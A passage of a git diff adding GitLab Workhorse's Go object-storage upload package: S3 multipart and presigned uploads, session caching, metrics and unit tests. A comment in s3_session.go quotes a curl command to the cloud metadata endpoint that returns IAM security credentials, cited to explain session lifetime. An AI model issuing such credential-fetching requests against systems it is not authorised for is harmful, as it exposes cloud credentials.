+ return fmt.Errorf("CompleteMultipartUpload request %q: %v", mask.URL(m.CompleteURL), err)
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode != http.StatusOK {
+ return fmt.Errorf("CompleteMultipartUpload request %v returned: %s", mask.URL(m.CompleteURL), resp.Status)
+ }
+
+ result := &compoundCompleteMultipartUploadResult{}
+ decoder := xml.NewDecoder(resp.Body)
+ if err := decoder.Decode(&result); err != nil {
+ return fmt.Errorf("decode CompleteMultipartUpload answer: %v", err)
+ }
+
+ if result.isError() {
+ return result
+ }
+
+ if result.CompleteMultipartUploadResult == nil {
+ return fmt.Errorf("empty CompleteMultipartUploadResult")
+ }
+
+ m.etag = extractETag(result.ETag)
+
+ return nil
+}
diff --git a/workhorse/internal/objectstore/multipart_test.go b/workhorse/internal/objectstore/multipart_test.go
new file mode 100644
index 00000000000..00d6efc0982
--- /dev/null
+++ b/workhorse/internal/objectstore/multipart_test.go
@@ -0,0 +1,64 @@
+package objectstore_test
+
+import (
+ "context"
+ "io/ioutil"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore/test"
+)
+
+func TestMultipartUploadWithUpcaseETags(t *testing.T) {
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ var putCnt, postCnt int
+
+ ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ _, err := ioutil.ReadAll(r.Body)
+ require.NoError(t, err)
+ defer r.Body.Close()
+
+ // Part upload request
+ if r.Method == "PUT" {
+ putCnt++
+
+ w.Header().Set("ETag", strings.ToUpper(test.ObjectMD5))
+ }
+
+ // POST with CompleteMultipartUpload request
+ if r.Method == "POST" {
+ completeBody := `<CompleteMultipartUploadResult>
+ <Bucket>test-bucket</Bucket>
+ <ETag>No Longer Checked</ETag>
+ </CompleteMultipartUploadResult>`
+ postCnt++
+
+ w.Write([]byte(completeBody))
+ }
+ }))
+ defer ts.Close()
+
+ deadline := time.Now().Add(testTimeout)
+
+ m, err := objectstore.NewMultipart(
+ []string{ts.URL}, // a single presigned part URL
+ ts.URL, // the complete multipart upload URL
+ "", // no abort
+ "", // no delete
+ map[string]string{}, // no custom headers
+ test.ObjectSize) // parts size equal to the whole content. Only 1 part
+ require.NoError(t, err)
+
+ _, err = m.Consume(ctx, strings.NewReader(test.ObjectContent), deadline)
+ require.NoError(t, err)
+ require.Equal(t, 1, putCnt, "1 part expected")
+ require.Equal(t, 1, postCnt, "1 complete multipart upload expected")
+}
diff --git a/workhorse/internal/objectstore/object.go b/workhorse/internal/objectstore/object.go
new file mode 100644
index 00000000000..eaf3bfb2e36
--- /dev/null
+++ b/workhorse/internal/objectstore/object.go
@@ -0,0 +1,114 @@
+package objectstore
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "net"
+ "net/http"
+ "time"
+
+ "gitlab.com/gitlab-org/labkit/correlation"
+ "gitlab.com/gitlab-org/labkit/mask"
+ "gitlab.com/gitlab-org/labkit/tracing"
+)
+
+// httpTransport defines a http.Transport with values
+// that are more restrictive than for http.DefaultTransport,
+// they define shorter TLS Handshake, and more aggressive connection closing
+// to prevent the connection hanging and reduce FD usage
+var httpTransport = tracing.NewRoundTripper(correlation.NewInstrumentedRoundTripper(&http.Transport{
+ Proxy: http.ProxyFromEnvironment,
+ DialContext: (&net.Dialer{
+ Timeout: 30 * time.Second,
+ KeepAlive: 10 * time.Second,
+ }).DialContext,
+ MaxIdleConns: 2,
+ IdleConnTimeout: 30 * time.Second,
+ TLSHandshakeTimeout: 10 * time.Second,
+ ExpectContinueTimeout: 10 * time.Second,
+ ResponseHeaderTimeout: 30 * time.Second,
+}))
+
+var httpClient = &http.Client{
+ Transport: httpTransport,
+}
+
+// Object represents an object on a S3 compatible Object Store service.
+// It can be used as io.WriteCloser for uploading an object
+type Object struct {
+ // putURL is a presigned URL for PutObject
+ putURL string
+ // deleteURL is a presigned URL for RemoveObject
+ deleteURL string
+ putHeaders map[string]string
+ size int64
+ etag string
+ metrics bool
+
+ *uploader
+}
+
+type StatusCodeError error
+
+// NewObject opens an HTTP connection to Object Store and returns an Object pointer that can be used for uploading.
+func NewObject(putURL, deleteURL string, putHeaders map[string]string, size int64) (*Object, error) {
+ return newObject(putURL, deleteURL, putHeaders, size, true)
+}
+
+func newObject(putURL, deleteURL string, putHeaders map[string]string, size int64, metrics bool) (*Object, error) {
+ o := &Object{
+ putURL: putURL,
+ deleteURL: deleteURL,
+ putHeaders: putHeaders,
+ size: size,
+ metrics: metrics,
+ }
+
+ o.uploader = newETagCheckUploader(o, metrics)
+ return o, nil
+}
+
+func (o *Object) Upload(ctx context.Context, r io.Reader) error {
+ // we should prevent pr.Close() otherwise it may shadow error set with pr.CloseWithError(err)
+ req, err := http.NewRequest(http.MethodPut, o.putURL, ioutil.NopCloser(r))
+
+ if err != nil {
+ return fmt.Errorf("PUT %q: %v", mask.URL(o.putURL), err)
+ }
+ req.ContentLength = o.size
+
+ for k, v := range o.putHeaders {
+ req.Header.Set(k, v)
+ }
+
+ resp, err := httpClient.Do(req)
+ if err != nil {
+ return fmt.Errorf("PUT request %q: %v", mask.URL(o.putURL), err)
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode != http.StatusOK {
+ if o.metrics {
+ objectStorageUploadRequestsInvalidStatus.Inc()
+ }
+ return StatusCodeError(fmt.Errorf("PUT request %v returned: %s", mask.URL(o.putURL), resp.Status))
+ }
+
+ o.etag = extractETag(resp.Header.Get("ETag"))
+
+ return nil
+}
+
+func (o *Object) ETag() string {
+ return o.etag
+}
+
+func (o *Object) Abort() {
+ o.Delete()
+}
+
+func (o *Object) Delete() {
+ deleteURL(o.deleteURL)
+}
diff --git a/workhorse/internal/objectstore/object_test.go b/workhorse/internal/objectstore/object_test.go
new file mode 100644
index 00000000000..2ec45520e97
--- /dev/null
+++ b/workhorse/internal/objectstore/object_test.go
@@ -0,0 +1,155 @@
+package objectstore_test
+
+import (
+ "context"
+ "io"
+ "net/http"
+ "net/http/httptest"
+ "strings"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore/test"
+)
+
+const testTimeout = 10 * time.Second
+
+type osFactory func() (*test.ObjectstoreStub, *httptest.Server)
+
+func testObjectUploadNoErrors(t *testing.T, startObjectStore osFactory, useDeleteURL bool, contentType string) {
+ osStub, ts := startObjectStore()
+ defer ts.Close()
+
+ objectURL := ts.URL + test.ObjectPath
+ var deleteURL string
+ if useDeleteURL {
+ deleteURL = objectURL
+ }
+
+ putHeaders := map[string]string{"Content-Type": contentType}
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ deadline := time.Now().Add(testTimeout)
+ object, err := objectstore.NewObject(objectURL, deleteURL, putHeaders, test.ObjectSize)
+ require.NoError(t, err)
+
+ // copy data
+ n, err := object.Consume(ctx, strings.NewReader(test.ObjectContent), deadline)
+ require.NoError(t, err)
+ require.Equal(t, test.ObjectSize, n, "Uploaded file mismatch")
+
+ require.Equal(t, contentType, osStub.GetHeader(test.ObjectPath, "Content-Type"))
+
+ // Checking MD5 extraction
+ require.Equal(t, osStub.GetObjectMD5(test.ObjectPath), object.ETag())
+
+ // Checking cleanup
+ cancel()
+ require.Equal(t, 1, osStub.PutsCnt(), "Object hasn't been uploaded")
+
+ var expectedDeleteCnt int
+ if useDeleteURL {
+ expectedDeleteCnt = 1
+ }
+ // Poll because the object removal is async
+ for i := 0; i < 100; i++ {
+ if osStub.DeletesCnt() == expectedDeleteCnt {
+ break
+ }
+ time.Sleep(10 * time.Millisecond)
+ }
+
+ if useDeleteURL {
+ require.Equal(t, 1, osStub.DeletesCnt(), "Object hasn't been deleted")
+ } else {
+ require.Equal(t, 0, osStub.DeletesCnt(), "Object has been deleted")
+ }
+}
+
+func TestObjectUpload(t *testing.T) {
+ t.Run("with delete URL", func(t *testing.T) {
+ testObjectUploadNoErrors(t, test.StartObjectStore, true, "application/octet-stream")
+ })
+ t.Run("without delete URL", func(t *testing.T) {
+ testObjectUploadNoErrors(t, test.StartObjectStore, false, "application/octet-stream")
+ })
+ t.Run("with custom content type", func(t *testing.T) {
+ testObjectUploadNoErrors(t, test.StartObjectStore, false, "image/jpeg")
+ })
+ t.Run("with upcase ETAG", func(t *testing.T) {
+ factory := func() (*test.ObjectstoreStub, *httptest.Server) {
+ md5s := map[string]string{
+ test.ObjectPath: strings.ToUpper(test.ObjectMD5),
+ }
+
+ return test.StartObjectStoreWithCustomMD5(md5s)
+ }
+
+ testObjectUploadNoErrors(t, factory, false, "application/octet-stream")
+ })
+}
+
+func TestObjectUpload404(t *testing.T) {
+ ts := httptest.NewServer(http.NotFoundHandler())
+ defer ts.Close()
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ deadline := time.Now().Add(testTimeout)
+ objectURL := ts.URL + test.ObjectPath
+ object, err := objectstore.NewObject(objectURL, "", map[string]string{}, test.ObjectSize)
+ require.NoError(t, err)
+ _, err = object.Consume(ctx, strings.NewReader(test.ObjectContent), deadline)
+
+ require.Error(t, err)
+ _, isStatusCodeError := err.(objectstore.StatusCodeError)
+ require.True(t, isStatusCodeError, "Should fail with StatusCodeError")
+ require.Contains(t, err.Error(), "404")
+}
+
+type endlessReader struct{}
+
+func (e *endlessReader) Read(p []byte) (n int, err error) {
+ for i := 0; i < len(p); i++ {
+ p[i] = '*'
+ }
+
+ return len(p), nil
+}
+
+// TestObjectUploadBrokenConnection purpose is to ensure that errors caused by the upload destination get propagated back correctly.
+// This is important for troubleshooting in production.
+func TestObjectUploadBrokenConnection(t *testing.T) {
+ // This test server closes connection immediately
+ ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ hj, ok := w.(http.Hijacker)
+ if !ok {
+ require.FailNow(t, "webserver doesn't support hijacking")
+ }
+ conn, _, err := hj.Hijack()
+ if err != nil {
+ http.Error(w, err.Error(), http.StatusInternalServerError)
+ return
+ }
+ conn.Close()
+ }))
+ defer ts.Close()
+
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ deadline := time.Now().Add(testTimeout)
+ objectURL := ts.URL + test.ObjectPath
+ object, err := objectstore.NewObject(objectURL, "", map[string]string{}, -1)
+ require.NoError(t, err)
+
+ _, copyErr := object.Consume(ctx, &endlessReader{}, deadline)
+ require.Error(t, copyErr)
+ require.NotEqual(t, io.ErrClosedPipe, copyErr, "We are shadowing the real error")
+}
diff --git a/workhorse/internal/objectstore/prometheus.go b/workhorse/internal/objectstore/prometheus.go
new file mode 100644
index 00000000000..20762fb52bc
--- /dev/null
+++ b/workhorse/internal/objectstore/prometheus.go
@@ -0,0 +1,39 @@
+package objectstore
+
+import (
+ "github.com/prometheus/client_golang/prometheus"
+ "github.com/prometheus/client_golang/prometheus/promauto"
+)
+
+var (
+ objectStorageUploadRequests = promauto.NewCounterVec(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_object_storage_upload_requests",
+ Help: "How many object storage requests have been processed",
+ },
+ []string{"status"},
+ )
+ objectStorageUploadsOpen = promauto.NewGauge(
+ prometheus.GaugeOpts{
+ Name: "gitlab_workhorse_object_storage_upload_open",
+ Help: "Describes many object storage requests are open now",
+ },
+ )
+ objectStorageUploadBytes = promauto.NewCounter(
+ prometheus.CounterOpts{
+ Name: "gitlab_workhorse_object_storage_upload_bytes",
+ Help: "How many bytes were sent to object storage",
+ },
+ )
+ objectStorageUploadTime = promauto.NewHistogram(
+ prometheus.HistogramOpts{
+ Name: "gitlab_workhorse_object_storage_upload_time",
+ Help: "How long it took to upload objects",
+ Buckets: objectStorageUploadTimeBuckets,
+ })
+
+ objectStorageUploadRequestsRequestFailed = objectStorageUploadRequests.WithLabelValues("request-failed")
+ objectStorageUploadRequestsInvalidStatus = objectStorageUploadRequests.WithLabelValues("invalid-status")
+
+ objectStorageUploadTimeBuckets = []float64{.1, .25, .5, 1, 2.5, 5, 10, 25, 50, 100}
+)
diff --git a/workhorse/internal/objectstore/s3_complete_multipart_api.go b/workhorse/internal/objectstore/s3_complete_multipart_api.go
new file mode 100644
index 00000000000..b84f5757f49
--- /dev/null
+++ b/workhorse/internal/objectstore/s3_complete_multipart_api.go
@@ -0,0 +1,51 @@
+package objectstore
+
+import (
+ "encoding/xml"
+ "fmt"
+)
+
+// CompleteMultipartUpload is the S3 CompleteMultipartUpload body
+type CompleteMultipartUpload struct {
+ Part []*completeMultipartUploadPart
+}
+
+type completeMultipartUploadPart struct {
+ PartNumber int
+ ETag string
+}
+
+// CompleteMultipartUploadResult is the S3 answer to CompleteMultipartUpload request
+type CompleteMultipartUploadResult struct {
+ Location string
+ Bucket string
+ Key string
+ ETag string
+}
+
+// CompleteMultipartUploadError is the in-body error structure
+// https://docs.aws.amazon.com/AmazonS3/latest/API/mpUploadComplete.html#mpUploadComplete-examples
+// the answer contains other fields we are not using
+type CompleteMultipartUploadError struct {
+ XMLName xml.Name `xml:"Error"`
+ Code string
+ Message string
+}
+
+func (c *CompleteMultipartUploadError) Error() string {
+ return fmt.Sprintf("CompleteMultipartUpload remote error %q: %s", c.Code, c.Message)
+}
+
+// compoundCompleteMultipartUploadResult holds both CompleteMultipartUploadResult and CompleteMultipartUploadError
+// this allow us to deserialize the response body where the root element can either be Error orCompleteMultipartUploadResult
+type compoundCompleteMultipartUploadResult struct {
+ *CompleteMultipartUploadResult
+ *CompleteMultipartUploadError
+
+ // XMLName this overrides CompleteMultipartUploadError.XMLName tags
+ XMLName xml.Name
+}
+
+func (c *compoundCompleteMultipartUploadResult) isError() bool {
+ return c.CompleteMultipartUploadError != nil
+}
diff --git a/workhorse/internal/objectstore/s3_object.go b/workhorse/internal/objectstore/s3_object.go
new file mode 100644
index 00000000000..1f79f88224f
--- /dev/null
+++ b/workhorse/internal/objectstore/s3_object.go
@@ -0,0 +1,119 @@
+package objectstore
+
+import (
+ "context"
+ "io"
+ "time"
+
+ "github.com/aws/aws-sdk-go/aws"
+ "github.com/aws/aws-sdk-go/aws/awserr"
+ "github.com/aws/aws-sdk-go/service/s3"
+ "github.com/aws/aws-sdk-go/service/s3/s3manager"
+ "gitlab.com/gitlab-org/labkit/log"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+)
+
+type S3Object struct {
+ credentials config.S3Credentials
+ config config.S3Config
+ objectName string
+ uploaded bool
+
+ *uploader
+}
+
+func NewS3Object(objectName string, s3Credentials config.S3Credentials, s3Config config.S3Config) (*S3Object, error) {
+ o := &S3Object{
+ credentials: s3Credentials,
+ config: s3Config,
+ objectName: objectName,
+ }
+
+ o.uploader = newUploader(o)
+ return o, nil
+}
+
+func setEncryptionOptions(input *s3manager.UploadInput, s3Config config.S3Config) {
+ if s3Config.ServerSideEncryption != "" {
+ input.ServerSideEncryption = aws.String(s3Config.ServerSideEncryption)
+
+ if s3Config.ServerSideEncryption == s3.ServerSideEncryptionAwsKms && s3Config.SSEKMSKeyID != "" {
+ input.SSEKMSKeyId = aws.String(s3Config.SSEKMSKeyID)
+ }
+ }
+}
+
+func (s *S3Object) Upload(ctx context.Context, r io.Reader) error {
+ sess, err := setupS3Session(s.credentials, s.config)
+ if err != nil {
+ log.WithError(err).Error("error creating S3 session")
+ return err
+ }
+
+ uploader := s3manager.NewUploader(sess)
+
+ input := &s3manager.UploadInput{
+ Bucket: aws.String(s.config.Bucket),
+ Key: aws.String(s.objectName),
+ Body: r,
+ }
+
+ setEncryptionOptions(input, s.config)
+
+ _, err = uploader.UploadWithContext(ctx, input)
+ if err != nil {
+ log.WithError(err).Error("error uploading S3 session")
+ // Get the root cause, such as ErrEntityTooLarge, so we can return the proper HTTP status code
+ return unwrapAWSError(err)
+ }
+
+ s.uploaded = true
+
+ return nil
+}
+
+func (s *S3Object) ETag() string {
+ return ""
+}
+
+func (s *S3Object) Abort() {
+ s.Delete()
+}
+
+func (s *S3Object) Delete() {
+ if !s.uploaded {
+ return
+ }
+
+ session, err := setupS3Session(s.credentials, s.config)
+ if err != nil {
+ log.WithError(err).Error("error setting up S3 session in delete")
+ return
+ }
+
+ svc := s3.New(session)
+ input := &s3.DeleteObjectInput{
+ Bucket: aws.String(s.config.Bucket),
+ Key: aws.String(s.objectName),
+ }
+
+ // Note we can't use the request context because in a successful
+ // case, the original request has already completed.
+ deleteCtx, cancel := context.WithTimeout(context.Background(), 60*time.Second) // lint:allow context.Background
+ defer cancel()
+
+ _, err = svc.DeleteObjectWithContext(deleteCtx, input)
+ if err != nil {
+ log.WithError(err).Error("error deleting S3 object", err)
+ }
+}
+
+// This is needed until https://github.com/aws/aws-sdk-go/issues/2820 is closed.
+func unwrapAWSError(e error) error {
+ if awsErr, ok := e.(awserr.Error); ok {
+ return unwrapAWSError(awsErr.OrigErr())
+ }
+
+ return e
+}
diff --git a/workhorse/internal/objectstore/s3_object_test.go b/workhorse/internal/objectstore/s3_object_test.go
new file mode 100644
index 00000000000..d9ebbd7f979
--- /dev/null
+++ b/workhorse/internal/objectstore/s3_object_test.go
@@ -0,0 +1,174 @@
+package objectstore_test
+
+import (
+ "context"
+ "fmt"
+ "io"
+ "io/ioutil"
+ "os"
+ "path/filepath"
+ "strings"
+ "sync"
+ "testing"
+ "time"
+
+ "github.com/aws/aws-sdk-go/aws/awserr"
+ "github.com/aws/aws-sdk-go/aws/session"
+ "github.com/aws/aws-sdk-go/service/s3"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/objectstore/test"
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/testhelper"
+)
+
+type failedReader struct {
+ io.Reader
+}
+
+func (r *failedReader) Read(p []byte) (int, error) {
+ origErr := fmt.Errorf("entity is too large")
+ return 0, awserr.New("Read", "read failed", origErr)
+}
+
+func TestS3ObjectUpload(t *testing.T) {
+ testCases := []struct {
+ encryption string
+ }{
+ {encryption: ""},
+ {encryption: s3.ServerSideEncryptionAes256},
+ {encryption: s3.ServerSideEncryptionAwsKms},
+ }
+
+ for _, tc := range testCases {
+ t.Run(fmt.Sprintf("encryption=%v", tc.encryption), func(t *testing.T) {
+ creds, config, sess, ts := test.SetupS3(t, tc.encryption)
+ defer ts.Close()
+
+ deadline := time.Now().Add(testTimeout)
+ tmpDir, err := ioutil.TempDir("", "workhorse-test-")
+ require.NoError(t, err)
+ defer os.Remove(tmpDir)
+
+ objectName := filepath.Join(tmpDir, "s3-test-data")
+ ctx, cancel := context.WithCancel(context.Background())
+
+ object, err := objectstore.NewS3Object(objectName, creds, config)
+ require.NoError(t, err)
+
+ // copy data
+ n, err := object.Consume(ctx, strings.NewReader(test.ObjectContent), deadline)
+ require.NoError(t, err)
+ require.Equal(t, test.ObjectSize, n, "Uploaded file mismatch")
+
+ test.S3ObjectExists(t, sess, config, objectName, test.ObjectContent)
+ test.CheckS3Metadata(t, sess, config, objectName)
+
+ cancel()
+
+ testhelper.Retry(t, 5*time.Second, func() error {
+ if test.S3ObjectDoesNotExist(t, sess, config, objectName) {
+ return nil
+ }
+
+ return fmt.Errorf("file is still present")
+ })
+ })
+ }
+}
+
+func TestConcurrentS3ObjectUpload(t *testing.T) {
+ creds, uploadsConfig, uploadsSession, uploadServer := test.SetupS3WithBucket(t, "uploads", "")
+ defer uploadServer.Close()
+
+ // This will return a separate S3 endpoint
+ _, artifactsConfig, artifactsSession, artifactsServer := test.SetupS3WithBucket(t, "artifacts", "")
+ defer artifactsServer.Close()
+
+ deadline := time.Now().Add(testTimeout)
+ tmpDir, err := ioutil.TempDir("", "workhorse-test-")
+ require.NoError(t, err)
+ defer os.Remove(tmpDir)
+
+ var wg sync.WaitGroup
+
+ for i := 0; i < 4; i++ {
+ wg.Add(1)
+
+ go func(index int) {
+ var sess *session.Session
+ var config config.S3Config
+
+ if index%2 == 0 {
+ sess = uploadsSession
+ config = uploadsConfig
+ } else {
+ sess = artifactsSession
+ config = artifactsConfig
+ }
+
+ name := fmt.Sprintf("s3-test-data-%d", index)
+ objectName := filepath.Join(tmpDir, name)
+ ctx, cancel := context.WithCancel(context.Background())
+ defer cancel()
+
+ object, err := objectstore.NewS3Object(objectName, creds, config)
+ require.NoError(t, err)
+
+ // copy data
+ n, err := object.Consume(ctx, strings.NewReader(test.ObjectContent), deadline)
+ require.NoError(t, err)
+ require.Equal(t, test.ObjectSize, n, "Uploaded file mismatch")
+
+ test.S3ObjectExists(t, sess, config, objectName, test.ObjectContent)
+ wg.Done()
+ }(i)
+ }
+
+ wg.Wait()
+}
+
+func TestS3ObjectUploadCancel(t *testing.T) {
+ creds, config, _, ts := test.SetupS3(t, "")
+ defer ts.Close()
+
+ ctx, cancel := context.WithCancel(context.Background())
+
+ deadline := time.Now().Add(testTimeout)
+ tmpDir, err := ioutil.TempDir("", "workhorse-test-")
+ require.NoError(t, err)
+ defer os.Remove(tmpDir)
+
+ objectName := filepath.Join(tmpDir, "s3-test-data")
+
+ object, err := objectstore.NewS3Object(objectName, creds, config)
+
+ require.NoError(t, err)
+
+ // Cancel the transfer before the data has been copied to ensure
+ // we handle this gracefully.
+ cancel()
+
+ _, err = object.Consume(ctx, strings.NewReader(test.ObjectContent), deadline)
+ require.Error(t, err)
+ require.Equal(t, "context canceled", err.Error())
+}
+
+func TestS3ObjectUploadLimitReached(t *testing.T) {
+ creds, config, _, ts := test.SetupS3(t, "")
+ defer ts.Close()
+
+ deadline := time.Now().Add(testTimeout)
+ tmpDir, err := ioutil.TempDir("", "workhorse-test-")
+ require.NoError(t, err)
+ defer os.Remove(tmpDir)
+
+ objectName := filepath.Join(tmpDir, "s3-test-data")
+ object, err := objectstore.NewS3Object(objectName, creds, config)
+ require.NoError(t, err)
+
+ _, err = object.Consume(context.Background(), &failedReader{}, deadline)
+ require.Error(t, err)
+ require.Equal(t, "entity is too large", err.Error())
+}
diff --git a/workhorse/internal/objectstore/s3_session.go b/workhorse/internal/objectstore/s3_session.go
new file mode 100644
index 00000000000..ebc8daf534c
--- /dev/null
+++ b/workhorse/internal/objectstore/s3_session.go
@@ -0,0 +1,94 @@
+package objectstore
+
+import (
+ "sync"
+ "time"
+
+ "github.com/aws/aws-sdk-go/aws"
+ "github.com/aws/aws-sdk-go/aws/credentials"
+ "github.com/aws/aws-sdk-go/aws/session"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+)
+
+type s3Session struct {
+ session *session.Session
+ expiry time.Time
+}
+
+type s3SessionCache struct {
+ // An S3 session is cached by its input configuration (e.g. region,
+ // endpoint, path style, etc.), but the bucket is actually
+ // determined by the type of object to be uploaded (e.g. CI
+ // artifact, LFS, etc.) during runtime. In practice, we should only
+ // need one session per Workhorse process if we only allow one
+ // configuration for many different buckets. However, using a map
+ // indexed by the config avoids potential pitfalls in case the
+ // bucket configuration is supplied at startup or we need to support
+ // multiple S3 endpoints.
+ sessions map[config.S3Config]*s3Session
+ sync.Mutex
+}
+
+func (s *s3Session) isExpired() bool {
+ return time.Now().After(s.expiry)
+}
+
+func newS3SessionCache() *s3SessionCache {
+ return &s3SessionCache{sessions: make(map[config.S3Config]*s3Session)}
+}
+
+var (
+ // By default, it looks like IAM instance profiles may last 6 hours
+ // (via curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role_name>),
+ // but this may be configurable from anywhere for 15 minutes to 12
+ // hours. To be safe, refresh AWS sessions every 10 minutes.
+ sessionExpiration = time.Duration(10 * time.Minute)
+ sessionCache = newS3SessionCache()
+)
+
+// SetupS3Session initializes a new AWS S3 session and refreshes one if
+// necessary. As recommended in https://docs.aws.amazon.com/sdk-for-go/v1/developer-guide/sessions.html,
+// sessions should be cached when possible. Sessions are safe to use
+// concurrently as long as the session isn't modified.
+func setupS3Session(s3Credentials config.S3Credentials, s3Config config.S3Config) (*session.Session, error) {
+ sessionCache.Lock()
+ defer sessionCache.Unlock()
+
+ if s, ok := sessionCache.sessions[s3Config]; ok && !s.isExpired() {
+ return s.session, nil
+ }
+
+ cfg := &aws.Config{
+ Region: aws.String(s3Config.Region),
+ S3ForcePathStyle: aws.Bool(s3Config.PathStyle),
+ }
+
+ // In case IAM profiles aren't being used, use the static credentials
+ if s3Credentials.AwsAccessKeyID != "" && s3Credentials.AwsSecretAccessKey != "" {
+ cfg.Credentials = credentials.NewStaticCredentials(s3Credentials.AwsAccessKeyID, s3Credentials.AwsSecretAccessKey, "")
+ }
+
+ if s3Config.Endpoint != "" {
+ cfg.Endpoint = aws.String(s3Config.Endpoint)
+ }
+
+ sess, err := session.NewSession(cfg)
+ if err != nil {
+ return nil, err
+ }
+
+ sessionCache.sessions[s3Config] = &s3Session{
+ expiry: time.Now().Add(sessionExpiration),
+ session: sess,
+ }
+
+ return sess, nil
+}
+
+func ResetS3Session(s3Config config.S3Config) {
+ sessionCache.Lock()
+ defer sessionCache.Unlock()
+
+ delete(sessionCache.sessions, s3Config)
+}
diff --git a/workhorse/internal/objectstore/s3_session_test.go b/workhorse/internal/objectstore/s3_session_test.go
new file mode 100644
index 00000000000..8601f305917
--- /dev/null
+++ b/workhorse/internal/objectstore/s3_session_test.go
@@ -0,0 +1,57 @@
+package objectstore
+
+import (
+ "testing"
+ "time"
+
+ "github.com/aws/aws-sdk-go/aws"
+ "github.com/stretchr/testify/require"
+
+ "gitlab.com/gitlab-org/gitlab-workhorse/internal/config"
+)
+
+func TestS3SessionSetup(t *testing.T) {
+ credentials := config.S3Credentials{}
+ cfg := config.S3Config{Region: "us-west-1", PathStyle: true}
+
+ sess, err := setupS3Session(credentials, cfg)
+ require.NoError(t, err)
+
+ require.Equal(t, aws.StringValue(sess.Config.Region), "us-west-1")
+ require.True(t, aws.BoolValue(sess.Config.S3ForcePathStyle))
+
+ require.Equal(t, len(sessionCache.sessions), 1)
+ anotherConfig := cfg
+ _, err = setupS3Session(credentials, anotherConfig)
+ require.NoError(t, err)
+ require.Equal(t, len(sessionCache.sessions), 1)
+
+ ResetS3Session(cfg)
+}
+
+func TestS3SessionExpiry(t *testing.T) {
+ credentials := config.S3Credentials{}
+ cfg := config.S3Config{Region: "us-west-1", PathStyle: true}
+
+ sess, err := setupS3Session(credentials, cfg)
+ require.NoError(t, err)
+
+ require.Equal(t, aws.StringValue(sess.Config.Region), "us-west-1")
+ require.True(t, aws.BoolValue(sess.Config.S3ForcePathStyle))
+
+ firstSession, ok := sessionCache.sessions[cfg]
+ require.True(t, ok)
+ require.False(t, firstSession.isExpired())
+
+ firstSession.expiry = time.Now().Add(-1 * time.Second)
+ require.True(t, firstSession.isExpired())
+
+ _, err = setupS3Session(credentials, cfg)
+ require.NoError(t, err)
+
+ nextSession, ok := sessionCache.sessions[cfg]
+ require.True(t, ok)
+ require.False(t, nextSession.isExpired())
+
+ ResetS3Session(cfg)
+}
diff --git a/workhorse/internal/objectstore/test/consts.go b/workhorse/internal/objectstore/test/consts.go
new file mode 100644
index 00000000000..7a1bcc28d45
--- /dev/null
+++ b/workhorse/internal/objectstore/test/consts.go
@@ -0,0 +1,19 @@
+package test
+
+// Some useful const for testing purpose
+const (
+ // ObjectContent an example textual content
+ ObjectContent = "TEST OBJECT CONTENT"
+ // ObjectSize is the ObjectContent size
+ ObjectSize = int64(len(ObjectContent))
+ // Objectpath is an example remote object path (including bucket name)
+ ObjectPath = "/bucket/object"
+ // ObjectMD5 is ObjectContent MD5 hash
+ ObjectMD5 = "42d000eea026ee0760677e506189cb33"
+ // ObjectSHA1 is ObjectContent SHA1 hash
+ ObjectSHA1 = "173cfd58c6b60cb910f68a26cbb77e3fc5017a6d"
+ // ObjectSHA256 is ObjectContent SHA256 hash
+ ObjectSHA256 = "b0257e9e657ef19b15eed4fbba975bd5238d651977564035ef91cb45693647aa"
+ // ObjectSHA512 is ObjectContent SHA512 hash
+ ObjectSHA512 = "51af8197db2047f7894652daa7437927bf831d5aa63f1b0b7277c4800b06f5e3057251f0e4c2d344ca8c2daf1ffc08a28dd3b2f5fe0e316d3fd6c3af58c34b97"
+)
diff --git a/workhorse/internal/objectstore/test/gocloud_stub.go b/workhorse/internal/objectstore/test/gocloud_stub.go
new file mode 100644
index 00000000000..cf22075e407
--- /dev/null
+++ b/workhorse/internal/objectstore/test/gocloud_stub.go
@@ -0,0 +1,47 @@
+package test
+
+import (
+ "context"
+ "io/ioutil"
+ "net/url"
+ "os"
+ "testing"
+
+ "github.com/stretchr/testify/require"
+ "gocloud.dev/blob"
+ "gocloud.dev/blob/fileblob"
+)
+
+type dirOpener struct {
+ tmpDir string
+}
+
+func (o *dirOpener) OpenBucketURL(ctx context.Context, u *url.URL) (*blob.Bucket, error) {
+ return fileblob.OpenBucket(o.tmpDir, nil)
+}
+
+func SetupGoCloudFileBucket(t *testing.T, scheme string) (m *blob.URLMux, bucketDir string, cleanup func()) {
+ tmpDir, err := ioutil.TempDir("", "")
+ require.NoError(t, err)
+
+ mux := new(blob.URLMux)
+ fake := &dirOpener{tmpDir: tmpDir}
+ mux.RegisterBucket(scheme, fake)
+ cleanup = func() {
+ os.RemoveAll(tmpDir)
+ }
+
+ return mux, tmpDir, cleanup
+}
+
+func GoCloudObjectExists(t *testing.T, bucketDir string, objectName string) {
+ bucket, err := fileblob.OpenBucket(bucketDir, nil)
+ require.NoError(t, err)
+
+ ctx, cancel := context.WithCancel(context.Background()) // lint:allow context.Background
+ defer cancel()
